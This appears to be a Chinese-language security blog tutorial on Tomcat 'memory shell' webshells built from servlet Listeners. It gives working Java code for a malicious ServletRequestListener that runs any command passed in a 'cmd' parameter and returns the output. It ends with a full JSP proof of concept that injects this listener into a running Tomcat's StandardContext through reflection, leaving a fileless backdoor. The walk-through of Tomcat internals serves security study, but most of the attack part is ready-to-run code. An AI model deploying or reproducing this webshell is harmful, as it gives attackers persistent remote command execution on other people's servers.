熟悉 Listener
先试一试 Listener 的作用,这里使用了ServletRequestListener,因为这个 Listener 只要在网页发起了请求,就会调用这个监听器的两个回调方法。属实好用
web.xml
<listener>
<listener-class>com.yq1ng.Listener.TestListener</listener-class>
</listener>
package com.yq1ng.Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
/**
* @author ying
* @Description
* @create 2021-12-07 4:49 PM
*/
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println("TestListener 已被销毁。。。");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("TestListener 已被创建。。。");
}
}
启动服务,访问网站,看下 log
注意到两个函数的参数类型是ServletRequestEvent servletRequestEvent
,跟进看看
可以看到javax\servlet\ServletRequestEvent.class#getServletRequest()
返回了 request,会不会是在 Filter 内存马中提到的获取 context 的那个 request 呢?输出看看
直接写一个恶意的 Listener 试试了
package com.yq1ng.Listener;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* @author ying
* @Description
* @create 2021-12-07 4:49 PM
*/
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
String cmd;
try {
cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
requestField .setAccessible(true);
Request request = (Request) requestField .get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}
System.out.println("TestListener 已被销毁。。。");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("TestListener 已被创建。。。");
}
}
现在就应该是怎么动态注册一个恶意的 Listener 了,和 Filter 一样,先看看正常的注册流程
Listener 注册
因为 debug 时总是出现下图这个东西(maven 下载了源码也不行包括重启、清缓存、重新构建等等),这里就没进行动态调试,而是直接看代码和注释来理解
class 打上断点,debug 看堆栈发现org/apache/catalina/core/StandardContext.java#listenerStart()
看findApplicationListeners()
实现,了解listeners[]
是怎么来的
从注释可以很轻松的看出来listeners[]
是从web.xml中按顺序读取来的。
接着上面的看,实例化完往下走就是对其进行排序
测试使用的 Listener 继承了 ServletRequestListener,所以被添加到eventListeners
中,继续往下
这里从applicationEventListenersList
中取出已经实例化的 Listener 对象,然后后面将其清空再将 Liteners 全部添加进去,此时applicationEventListenersList
内是已经实例化后的所有 Listener 对象
Listener 调用
如法炮制,在 sout 处打上断点getApplicationEventListeners()
这个函数有印象吧,获取已经实例化后的所有 Listener 对象。然后循环遍历,依次调用listener.requestDestroyed()
编写 poc
思路应该清晰了,Listener 的注册与调用都围绕着applicationEventListenersList
这个数组,所以我们只需要将恶意 Listener 添加到applicationEventListenersList
中即可
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.Arrays" %>
<%--
Created by IntelliJ IDEA.
User: ying
Date: 2021/12/8
Time: 15:52
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
class EvilListener implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
String cmd;
try {
cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
ArrayList<Object> eventListeners = new ArrayList<>(listeners);
eventListeners.add(new EvilListener());
standardContext.setApplicationEventListeners(eventListeners.toArray());
out.print("Inject Success !");
%>
</body>
</html>